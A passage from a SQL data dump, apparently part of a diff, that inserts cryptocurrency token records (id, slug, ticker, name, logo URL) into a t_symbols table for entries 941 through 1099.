'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/shopnext.png', NULL); +INSERT INTO `t_symbols` VALUES (941, 'docademic', 'MTC', 'Doc.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/docademic.png', NULL); +INSERT INTO `t_symbols` VALUES (942, 'xchf', 'XCHF', 'CryptoFranc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xchf.png', NULL); +INSERT INTO `t_symbols` VALUES (943, 'projectseedtoken', 'SHILL', 'Project SEED SHILL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/projectseed.png', NULL); +INSERT INTO `t_symbols` VALUES (944, 'super-zero', 'SERO', 'SERO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/39721bc502e440b40d343ba71a4c5563.jpg', NULL); +INSERT INTO `t_symbols` VALUES (945, 'realfevr', 'FEVR', 'RealFevr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realfevr.png', NULL); +INSERT INTO `t_symbols` VALUES (946, 'videocoin', 'VID', 'Vivid Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/videocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (947, 'bitcoin-green', 'BITG', 'Bitcoin Green', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgreen.png', NULL); +INSERT INTO `t_symbols` VALUES (948, 'batt', 'BATT', 'batt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/batt.png', NULL); +INSERT INTO `t_symbols` VALUES (949, 'wearesatoshi', 'WSX', 'WeAreSatoshi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wearesatoshi.png', NULL); +INSERT INTO `t_symbols` VALUES (950, 'aurumcoin', 'AU', 'AurumCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurum-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (951, 'bggame', 'BGGM', 'bggame', NULL, NULL); +INSERT INTO `t_symbols` VALUES (952, 'safe-deal', 'SFD', 'SafeDeal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-deal.png', NULL); +INSERT INTO `t_symbols` VALUES (953, 'titanswap', 'TITAN', 'TitanSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titanswap.png', NULL); +INSERT INTO `t_symbols` VALUES (954, 'roiyal-coin', 'ROCO', 'ROCO FINANCE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roiyal-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (955, 'lanacoin', 'LANA', 'LanaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lanacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (956, 'partner', 'PRC', 'Partner', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/partner.png', NULL); +INSERT INTO `t_symbols` VALUES (957, 'matrix-ai-network', 'MAN', 'Matrix AI Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MatrixAINetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (958, 'vempire-ddao', 'VEMP', 'VEMP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vempire-ddao.png', NULL); +INSERT INTO `t_symbols` VALUES (959, 'ace-crescent-network', 'ACN', 'Ace crescent network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ace-crescent-network.png', NULL); +INSERT INTO `t_symbols` VALUES (960, 'flits', 'FLS', 'Flits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flits.png', NULL); +INSERT INTO `t_symbols` VALUES (961, 'hyperdao', 'HDAO', 'HyperDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/hyperdao.png', NULL); +INSERT INTO `t_symbols` VALUES (962, 'ignis', 'IGNIS', 'Ignis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ignis.png', NULL); +INSERT INTO `t_symbols` VALUES (963, 'paxos-standard', 'USDP', 'USDP Stablecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paxos-standard.jpg', NULL); +INSERT INTO `t_symbols` VALUES (964, 'sakecoin', 'SAKE', 'SAKECOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sakecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (965, 'torum', 'XTM', 'Torum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/torum.png', NULL); +INSERT INTO `t_symbols` VALUES (966, 'birake', 'BIR', 'Birake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/birake.jpg', NULL); +INSERT INTO `t_symbols` VALUES (967, 'bolt-token', 'BOLT', 'Bolt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bolt-token.png', NULL); +INSERT INTO `t_symbols` VALUES (968, 'iot-chain', 'ITC', 'IoT Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iot-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (969, 'perth-mint-gold-token', 'PMGT', 'Perth Mint Gold Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perth-mint-gold-token.png', NULL); +INSERT INTO `t_symbols` VALUES (970, 'dipnet', 'DPN', 'Dipnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dipnet.png', NULL); +INSERT INTO `t_symbols` VALUES (971, 'safe-haven', 'SHA', 'Safe Haven', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-haven.png', NULL); +INSERT INTO `t_symbols` VALUES (972, 'rchain', 'REV', 'RChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rchain.png', NULL); +INSERT INTO `t_symbols` VALUES (973, 'experty', 'EXY', 'Experty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/experty.png', NULL); +INSERT INTO `t_symbols` VALUES (974, 'mobius', 'MOBI', 'Mobius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobius.png', NULL); +INSERT INTO `t_symbols` VALUES (975, 'mean', 'MEAN', 'Mean DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/meandao.png', NULL); +INSERT INTO `t_symbols` VALUES (976, 'inchat', 'INT', 'inchat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inchat.png', NULL); +INSERT INTO `t_symbols` VALUES (977, 'spendcoin', 'SPND', 'Spendcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spendcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (978, 'bst', 'BST', 'Blocksquare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bst.png', NULL); +INSERT INTO `t_symbols` VALUES (979, 'innovaminex', 'MINX', 'InnovaMinex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/innovaminex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (980, 'litecoin-cash', 'LCC', 'Litecoin Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (981, 'step-finance', 'STEP', 'Step Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/step-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (982, 'minter', 'BIP', 'Minter Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/minter.png', NULL); +INSERT INTO `t_symbols` VALUES (983, 'salt', 'SALT', 'SALT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/salt.png', NULL); +INSERT INTO `t_symbols` VALUES (984, 'offshift', 'XFT', 'Offshift', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/offshift.png', NULL); +INSERT INTO `t_symbols` VALUES (985, 'taraxa', 'TARA', 'Taraxa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/taraxa.png', NULL); +INSERT INTO `t_symbols` VALUES (986, 'universa', 'UTNP', 'Universa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/universa.jpg', NULL); +INSERT INTO `t_symbols` VALUES (987, 'sentivate', 'SNTVT', 'Sentivate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentivate.png', NULL); +INSERT INTO `t_symbols` VALUES (988, 'savage', 'SAVG', 'Savage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/savage.png', NULL); +INSERT INTO `t_symbols` VALUES (989, 'seele', 'SEELE', 'Seele', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seele.jpg', NULL); +INSERT INTO `t_symbols` VALUES (990, 'bbsnetwork', 'BBS', 'BBS Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bbsnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (991, 'ardcoin', 'ARDX', 'ArdCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (992, 'smileycoin', 'SMLY', 'Smileycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smileycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (993, 'oyster', 'PRL', 'Oyster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oyster.png', NULL); +INSERT INTO `t_symbols` VALUES (994, 'zv-chain', 'ZVC', 'ZVChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/zv-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (995, 'stronghold-token', 'SHX', 'Stronghold Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stronghold-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (996, 'mogwai', 'MOG', 'Mogwai Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mogwai.png', NULL); +INSERT INTO `t_symbols` VALUES (997, 'edgeware', 'EDG', 'Edgeware', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edgeware.png', NULL); +INSERT INTO `t_symbols` VALUES (998, 'bagcoin', 'BGC', 'Bagcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bagcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (999, 'hc', 'HC', 'HyperCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/hc.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (1000, 'blocknet', 'BLOCK', 'Blocknet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocknet.png', NULL); +INSERT INTO `t_symbols` VALUES (1001, 'fat', 'FAT', 'Fatcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/fatbtc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1002, 'owndata', 'OWN', 'OWNDATA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/owndata.png', NULL); +INSERT INTO `t_symbols` VALUES (1003, 'otocash', 'OTO', 'OTOCASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/otocash.png', NULL); +INSERT INTO `t_symbols` VALUES (1004, 'strong', 'STRONG', 'Strong', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/strong.png', NULL); +INSERT INTO `t_symbols` VALUES (1005, 'ghost-by-mcafee', 'GHOST', 'Ghost', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ghost-by-mcafee.png', NULL); +INSERT INTO `t_symbols` VALUES (1006, 'defibox', 'BOX', 'DefiBox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defibox.png', NULL); +INSERT INTO `t_symbols` VALUES (1007, 'trustverse', 'TRV', 'TrustVerse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trustverse.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1008, 'tokencard', 'TKN', 'Monolith', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokencard.png', NULL); +INSERT INTO `t_symbols` VALUES (1009, 'covesting', 'COV', 'Covesting', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/covesting.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1010, 'blur-network', 'BLUR', 'Blur Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blur-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1011, 'dragonchain', 'DRGN', 'Dragonchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragonchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1012, 'geeq', 'GEEQ', 'GEEQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geeq.png', NULL); +INSERT INTO `t_symbols` VALUES (1013, 'aston', 'ATX', 'Aston', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aston.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1014, 'zignaly', 'ZIG', 'Zignaly', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zignaly.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1015, 'prospectors-gold', 'PGL', 'Prospectors Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prospectors-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (1016, 'metaverse-dualchain-network-architecture', 'DNA', 'Metaverse DNA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metaverse-dualchain-network-architecture.png', NULL); +INSERT INTO `t_symbols` VALUES (1017, 'monetha', 'MTH', 'Monetha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monetha.png', NULL); +INSERT INTO `t_symbols` VALUES (1018, 'htb', 'HTB', 'Hotbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/htb.png', NULL); +INSERT INTO `t_symbols` VALUES (1019, 'juggernaut', 'JGN', 'Juggernaut', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juggernaut.png', NULL); +INSERT INTO `t_symbols` VALUES (1020, 'oce', 'OCE', 'OceanEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oce.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1021, 'daex', 'DAX', 'DAEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daex.png', NULL); +INSERT INTO `t_symbols` VALUES (1022, 'einsteinium', 'EMC2', 'Einsteinium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/einsteinium.png', NULL); +INSERT INTO `t_symbols` VALUES (1023, 'meritcoins', 'MRC', 'Meritcoins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meritcoins.png', NULL); +INSERT INTO `t_symbols` VALUES (1024, 'bifif', 'BIFI', 'BiFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bifif.png', NULL); +INSERT INTO `t_symbols` VALUES (1025, 'wowbit', 'WWB', 'Wowbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wowbit.png', NULL); +INSERT INTO `t_symbols` VALUES (1026, 'wiz', 'WIZ', 'CrowdWiz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wiz.png', NULL); +INSERT INTO `t_symbols` VALUES (1027, 'firestarter', 'FLAME', 'FireStarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firestarter.png', NULL); +INSERT INTO `t_symbols` VALUES (1028, 'modern-investment-coin', 'MOBIC', 'Mobility Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/modern-investment-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1029, 'veridocglobal', 'VDG', 'VeriDocGlobal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veridocglobal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1030, 'marketpeak', 'PEAK', 'PEAKDEFI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marketpeak.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1031, 'alqo', 'ALQO', 'ALQO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ALQOCOIN.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1032, 'vipstar-coin', 'VIPS', 'VIPSTARCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vipstar-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1033, 'kt', 'KT', 'Kuai Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kt.png', NULL); +INSERT INTO `t_symbols` VALUES (1034, 'kaicoin', 'KAI', 'KaiCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kaicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1035, 'blackstone-chain', 'BSC', 'blackstone-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blackstone-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1036, 'hacken', 'HKN', 'Hacken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hacken.png', NULL); +INSERT INTO `t_symbols` VALUES (1037, 'knoxstertoken', 'FKX', 'FortKnoxster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/knoxstertoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1038, 'internet-node-token', 'INT', 'INTchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internet-node-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1039, 'blockchain-certified-data-token', 'BCDT', 'EvidenZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchain-certified-data-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1040, 'ethverse', 'ETHV', 'Ethverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethverse.png', NULL); +INSERT INTO `t_symbols` VALUES (1041, 'wib', 'WIB', 'Wibson', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wib.png', NULL); +INSERT INTO `t_symbols` VALUES (1042, 'nuco-cloud', 'NCDT', 'Nuco.Cloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuco-cloud.png', NULL); +INSERT INTO `t_symbols` VALUES (1043, 'qiibee', 'QBX', 'qiibee foundation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qiibeetoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1044, 'silent-notary', 'SNTR', 'Silent Notary', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/silent-notary.png', NULL); +INSERT INTO `t_symbols` VALUES (1045, 'probit-token', 'PROB', 'Probit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/probit-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1046, 'traceability-chain', 'TAC', 'Traceability Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/traceability-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1047, 'oneledger', 'OLT', 'OneLedger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oneledger.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1048, 'bittwatt', 'BWT', 'Bittwatt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BittwattPteLtd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1049, 'fedoracoin', 'TIPS', 'Fedoracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fedoracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1050, 'incent', 'INCNT', 'Incent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/incent.png', NULL); +INSERT INTO `t_symbols` VALUES (1051, 'cashbet-coin', 'CBC', 'CBC.network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashbet-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1052, 'ispolink-token', 'ISP', 'Ispolink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ispolink-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1053, 'bonk-token', 'BONK', 'BONK Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonk-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1054, 'gamecredits', 'GAME', 'GameCredits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamecredits.png', NULL); +INSERT INTO `t_symbols` VALUES (1055, 'pchain', 'PI', 'Plian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1056, 'buysell', 'BULL', 'BuySell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buysell.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1057, 'biki', 'BIKI', 'BIKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biki.png', NULL); +INSERT INTO `t_symbols` VALUES (1058, 'rightmesh', 'RMESH', 'RightMesh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rightmesh.png', NULL); +INSERT INTO `t_symbols` VALUES (1059, 'feathercoin', 'FTC', 'Feathercoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/feathercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1060, 'credit-tag-chain', 'CTC', 'Credit Tag Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credit-tag-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1061, 'rotharium', 'RTH', 'Rotharium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rotharium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1062, 'mcashchain', 'MCASH', 'Mcashchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcashchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1063, 'sparkpoint', 'SRK', 'SparkPoint', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sparkpoint.png', NULL); +INSERT INTO `t_symbols` VALUES (1064, 'mir', 'MIR', 'MIR COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mir.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1065, 'loyalcoin', 'LYL', 'LoyalCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loyalcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1066, 'zmine', 'ZMN', 'ZMINE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zmine.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1067, 'taklimakan-network', 'TAN', 'Taklimakan Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/taklimakan-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1068, 'asiacoin', 'AC', 'Asiacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asiacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1069, 'bilira', 'TRYB', 'BiLira', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bilira.png', NULL); +INSERT INTO `t_symbols` VALUES (1070, 'e-gulden', 'EFL', 'Electronic Gulden', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-gulden.png', NULL); +INSERT INTO `t_symbols` VALUES (1071, 'ultralpha', 'UAT', 'UltrAlpha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultralpha.png', NULL); +INSERT INTO `t_symbols` VALUES (1072, 'duckdaodime', 'DDIM', 'DuckDaoDime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/duckdaodime.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1073, 'dec', 'DEC2', 'Darico Ecosystem Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dec.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1074, 'xaurum', 'XAUR', 'Xaurum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xaurum.png', NULL); +INSERT INTO `t_symbols` VALUES (1075, 'oneswap-dao-token', 'ONES', 'OneSwap DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oneswap-dao-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1076, 'hyve', 'HYVE', 'Hyve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyve.png', NULL); +INSERT INTO `t_symbols` VALUES (1077, 'bean-cash', 'BITB', 'Bean Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bean-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (1078, 'ally', 'ALY', 'Ally', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ally.png', NULL); +INSERT INTO `t_symbols` VALUES (1079, 'wom-token', 'WOM', 'WOM Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wom-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1080, 'carvertical', 'CV', 'carVertical', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/carVertical_com.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1081, 'target-coin', 'TGT', 'Target Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/target-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1082, 'o3-swap', 'O3', 'O3 Swap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/o3-swap.png', NULL); +INSERT INTO `t_symbols` VALUES (1083, 'ubiq', 'UBQ', 'Ubiq', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubiq.png', NULL); +INSERT INTO `t_symbols` VALUES (1084, 'faircoin', 'FAIR', 'FairCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faircoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1085, 'zephyr', 'ZEPH', 'Zephyr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zephyr.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1086, 'btd', 'BTD', 'BTD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btd.png', NULL); +INSERT INTO `t_symbols` VALUES (1087, 'sibcoin', 'SIB', 'SIBCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sibcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1088, 'kkg', 'KKG', 'KKGame Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kkg.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1089, 'yam-v3', 'YAM', 'YAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v3.png', NULL); +INSERT INTO `t_symbols` VALUES (1090, 'spectre-utility', 'SXUT', 'Spectre.ai Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SpectreAI.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1091, 'skycoin', 'SKY', 'Skycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1092, 'omni', 'OMNI', 'Omni', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omni.png', NULL); +INSERT INTO `t_symbols` VALUES (1093, 'position-token', 'POSI', 'Position', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/position-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1094, 'enecuum', 'ENQ', 'Enecuum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enecuum.png', NULL); +INSERT INTO `t_symbols` VALUES (1095, 'shroomfinance', 'SHROOM', 'Niftyx Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shroomfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (1096, 'clever-defi', 'CLVA', 'Clever DeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clever-defi.png', NULL); +INSERT INTO `t_symbols` VALUES (1097, 'pta', 'PTA', 'Petrachor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/petrachor.png', NULL); +INSERT INTO `t_symbols` VALUES (1098, 'lime', 'LIME', 'iMe Lab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lime.png', NULL); +INSERT INTO `t_symbols` VALUES (1099, 'onechain', 'ONE', 'onechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onechain.jpg', NULL); +INSERT INTO `t_symbols` VALUES 